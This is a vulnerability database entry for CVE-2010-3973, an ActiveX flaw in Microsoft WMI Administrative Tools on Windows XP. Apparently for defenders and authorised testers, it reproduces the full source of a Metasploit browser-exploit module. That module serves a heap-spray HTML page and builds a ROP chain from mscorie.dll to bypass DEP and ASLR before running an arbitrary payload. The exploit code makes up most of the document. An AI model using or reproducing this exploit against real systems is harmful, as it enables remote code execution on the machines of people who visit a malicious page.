CVE-2010-3973

critical
Published 2010-12-23 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

The WMITools ActiveX control in WBEMSingleView.ocx 1.50.1131.0 in Microsoft WMI Administrative Tools 1.1 and earlier in Microsoft Windows XP SP2 and SP3 allows remote attackers to execute arbitrary code via a crafted argument to the AddContextRef method, possibly an untrusted pointer dereference, aka "Microsoft WMITools ActiveX Control Vulnerability."

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16516 remote windows verified ruby ยท 9 KB
Metasploit ยท 2011-01-14

Microsoft WMI Administration Tools - ActiveX Buffer Overflow (Metasploit)

ruby exploit Source: Exploit-DB
##
# $Id: wmi_admintools.rb 11579 2011-01-14 16:25:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:rank       => NormalRanking,
		:vuln_test  => nil,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft WMI Administration Tools ActiveX Buffer Overflow',
			'Description'    => %q{
					This module exploits a memory trust issue in the Microsoft WMI
				Administration tools ActiveX control. When processing a specially crafted
				HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat
				the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods
				as a trusted pointer. It makes an indirect call via this pointer which leads
				to arbitrary code execution.

				This exploit utilizes a combination of heap spraying and the
				.NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
				opt-in to ASLR. As such, this module should be reliable on all Windows
				versions.

				The WMI Adminsitrative Tools are a standalone download & install (linked in the
				references).

			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'WooYun', 'MC', 'jduck' ],
			'Version'        => '$Revision: 11579 $',
			'References'     =>
				[
					[ 'OSVDB', '69942'],
					[ 'CVE', '2010-3973' ],
					[ 'BID', '45546' ],
					[ 'URL', 'http://wooyun.org/bug.php?action=view&id=1006' ],
					[ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ],  # .NET 2.0 ROP (slide 25)
					[ 'URL', 'http://secunia.com/advisories/42693' ],
					[ 'URL', 'http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'         => 512,
					'BadChars'      => "\x00",
					'DisableNops'   => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
					[ 'Windows Universal',  { 'SprayTarget' => 0x105ae020 } ],
					[ 'Debug Target (Crash)', { 'SprayTarget' => 0x70707070 } ] # must be < 0x80000000
				],
			'DisclosureDate' => 'Dec 21 2010',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def auto_target(cli, request)
		mytarget = nil

		agent = request.headers['User-Agent']
		#print_status("Checking user agent: #{agent}")
		if agent =~ /MSIE 6\.0/ or agent =~ /MSIE 7\.0/ or agent =~ /MSIE 8\.0/
			mytarget = targets[1]
		else
			print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
		end
		mytarget
	end

	def on_request_uri(cli, request)

		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			if (not mytarget)
				send_not_found(cli)
				return
			end
		end

		if request.uri == get_resource() or request.uri =~ /\/$/
			print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

			redir = get_resource()
			redir << '/' if redir[-1,1] != '/'
			redir << rand_text_alphanumeric(4+rand(4))
			redir << '.html'
			send_redirect(cli, redir)

		elsif request.uri =~ /\.html?$/
			# Re-generate the payload
			return if ((p = regenerate_payload(cli)) == nil)

			print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

			# Generate the ROP payload
			buf_addr = mytarget['SprayTarget']
			rvas = rvas_mscorie_v2()
			rop_stack = generate_rop(buf_addr, rvas)

			fix_esp = rva2addr(rvas, 'pop ebp / ret')
			pivot1  = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
			pivot2  = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')

			pivot_str = Rex::Text.to_unescape([pivot1].pack('V'))

			special_sauce = [
				buf_addr + 0x10,
				pivot2, # becomes eip via trusted ptr
				fix_esp,
				0xdeadbeef,
				pivot1, # used by AddContextRef
				pivot1  # used by ReleaseContext
			].pack('V*')

			# Append the payload to the rop_stack
			rop_stack << p.encoded

			# Add in the rest of the ROP stack
			special_sauce << rop_stack

			special_sauce = Rex::Text.to_unescape(special_sauce)
			shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
			nops      = Rex::Text.to_unescape(make_nops(4))
			js_function  = rand_text_alpha(rand(32)+1)
			vname  = rand_text_alpha(rand(32) + 1)

			clsid = "2745E5F5-D234-11D0-847A-00C04FD7BB08"
			progid = "WBEM.SingleViewCtrl.1"

			method_names = [
				"AddContextRef",
				"ReleaseContext"
			]

			method_name = method_names[rand(method_names.length)]

			# Construct the heap spray javascript
			custom_js = <<-EOS
function #{js_function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape("#{special_sauce}");
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
var heapblock = heapspray;
while(heapblock.length < 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
#{vname}.#{method_name}(#{"0x%x" % buf_addr});
}
EOS
			js = heaplib(custom_js)

			dll_uri = get_resource()
			dll_uri << '/' if dll_uri[-1,1] != '/'
			dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"

			# Construct the final page
			content = <<-EOS
<html>
<head>
<script language='javascript'>
#{js}
</script>
</head>
<body onload='#{js_function}()'>
<object classid="#{dll_uri}#GenericControl" />
<object classid="clsid:#{clsid}" id="#{vname}"></object>
</body>
</html>
EOS

			# Transmit the response to the client
			send_response_html(cli, content)

		elsif request.uri =~ /\.dll$/
			print_status("Sending #{self.refname} DLL to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

			# Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
			# use it's contents ...
			ibase = (0x2000 | rand(0x8000)) << 16
			dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))

			# Send a .NET v2.0 DLL down
			send_response(cli, dll,
				{
					'Content-Type' => 'application/x-msdownload',
					'Connection'   => 'close',
					'Pragma'       => 'no-cache'
				})
		end

		# Handle the payload
		handler(cli)
	end

	def rvas_mscorie_v2()
		# mscorie.dll version v2.0.50727.3053
		# Just return this hash
		{
			'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
			'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
			'pop ebp / ret'          => 0x5557,
			'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
			'pop eax / ret'          => 0x5ba1,
			'pop ebx / ret'          => 0x54c0,
			'pop ecx / ret'          => 0x1e13,
			'pop esi / ret'          => 0x1d9a,
			'pop edi / ret'          => 0x2212,
			'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
			'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
		}
	end

	def generate_rop(buf_addr, rvas)
		# ROP fun! (XP SP3 English, Dec 15 2010)
		rvas.merge!({
			# Instructions / Name    => RVA
			'BaseAddress'            => 0x63f00000,
			'imp_VirtualAlloc'       => 0x10f4
		})

		rop_stack = [
			# Allocate an RWX memory segment
			'pop ecx / ret',
			'imp_VirtualAlloc',

			'call [ecx] / pop ebp / ret 0xc',
			0,         # lpAddress
			0x1000,    # dwSize
			0x3000,    # flAllocationType
			0x40,      # flProt
			:unused,

			# Copy the original payload
			'pop ecx / ret',
			:unused,
			:unused,
			:unused,
			:memcpy_dst,

			'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
			:unused,

			'pop esi / ret',
			:unused,
			:unused,
			:unused,
			:memcpy_src,

			'pop edi / ret',
			0xdeadf00d # to be filled in above
		]
		(0x200 / 4).times {
			rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
		}
		# Execute the payload ;)
		rop_stack << 'call [ecx] / pop ebp / ret 0xc'

		rop_stack.map! { |e|
			if e.kind_of? String
				# Meta-replace (RVA)
				raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
				rvas['BaseAddress'] + rvas[e]

			elsif e == :unused
				# Randomize
				rand_text(4).unpack('V').first

			elsif e == :memcpy_src
				# Based on stack length..
				buf_addr + 0x18 + (rop_stack.length * 4)

			elsif e == :memcpy_dst
				# Store our new memory ptr into our buffer for later popping :)
				buf_addr + 0x18 + (21 * 4)

			else
				# Literal
				e
			end
		}

		rop_stack.pack('V*')
	end

	def rva2addr(rvas, key)
		raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
		rvas['BaseAddress'] + rvas[key]
	end

end
EDB-15809 remote windows verified
WooYun ยท 2010-12-22

Microsoft WMITools - ActiveX Remote Command Execution

Source code queued for fetch โ€” refresh in a moment.

Metasploit modules

Microsoft WMI Administration Tools ActiveX Buffer Overflow
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
windows microsoftwmi_administrative_tools{"endIncluding":"1.1"}

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.